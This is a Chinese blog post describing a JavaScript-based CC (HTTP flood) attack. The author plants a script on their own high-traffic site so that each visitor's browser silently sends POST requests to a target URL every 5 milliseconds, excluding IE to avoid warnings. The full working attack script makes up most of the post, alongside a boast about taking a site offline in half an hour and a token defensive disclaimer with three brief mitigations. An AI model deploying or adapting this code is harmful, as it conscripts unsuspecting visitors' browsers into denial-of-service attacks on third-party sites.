实现基于js的CC攻击+转移攻击

avatar 2019年1月2日15:27:24 评论 2,969

申明:此文不是为了教大家攻击别人网站,主要是为了学会更好的防御。
今天在群里跟一个朋友讨论到CC攻击,然后我就想到了百度的这么一个方法

假设今天我的官网遭受一百万的请求攻击,那么我就可以利用这一百万的PV,进行转换攻击

对方就要收到我的几百万次的攻击。

简单说cc攻击就是通过大量肉鸡模拟正常用户对网站某个需要获取大量数据的网页发送数据包,导致服务器崩溃。

其最重要的就是肉鸡,我网站一般都有上千人同时在线,于是他们都成为了我的“肉鸡”~

我写了一段攻击代码放我网站上,只要用户访问网站就会自动不断的通过ajax向指定页面发送post数据包,半个小时后对方网站基本over了。

当然,攻击的页面是我先选好了的需要获取数据量比较大的页面,这个很重要。

而且由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别。

但缺点也是因为跨域限制,在IE下会弹出警告没有权限或需要授权,所以我在代码中if了ie浏览器下不执行函数。

如果你有pv大的shell的话这个不是问题,现在用非IE人已经很多了,我在忽略IE用户的情况下也只用了半个小时就o了。

下面是ajax攻击代码,间隔时间可以根据需要自己调整,我设置的是5毫秒一次。

<script type="text/javascript">

var t_postdata='id=cacacacacacacaca';//数据越大效果越好。

var t_url='http://www.xxx.com';//攻击目标

function c_xmlHttp()

{

        if(window.ActiveXObject)

        {

                xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');

        }

        else if(window.XMLHttpRequest)

        {

                xmlHttp=new XMLHttpRequest();

        }

        return xmlHttp;

}

function post_send()

{

        var xmlHttp=c_xmlHttp();

        xmlHttp.open("POST",t_url,true);

        xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

        xmlHttp.send(t_postdata);

        r_send();

}

function r_send()

{

        setTimeout("post_send()", 5);//5毫秒一次攻击

}

if(!+[1,])//IE下不执行。

{var fghj=1;}

else

{setTimeout("post_send()", 1000);}//访问访问用户1秒后开始执行
</script>

防御办法:

1,对数据量比较大的页面使用缓存,尽量减少数据库连接。

2,对每个访问者设置ip cookie,限制时段内访问次数。

3,对每个用户设置session,限制时段内访问次数。

总体来说非常实用的!比如说我的官网,每天都会被人攻击,几十万的浏览量,如果转到菲律宾官网呢?这就非常有意思了哈哈哈

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin
广告也精彩
avatar

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: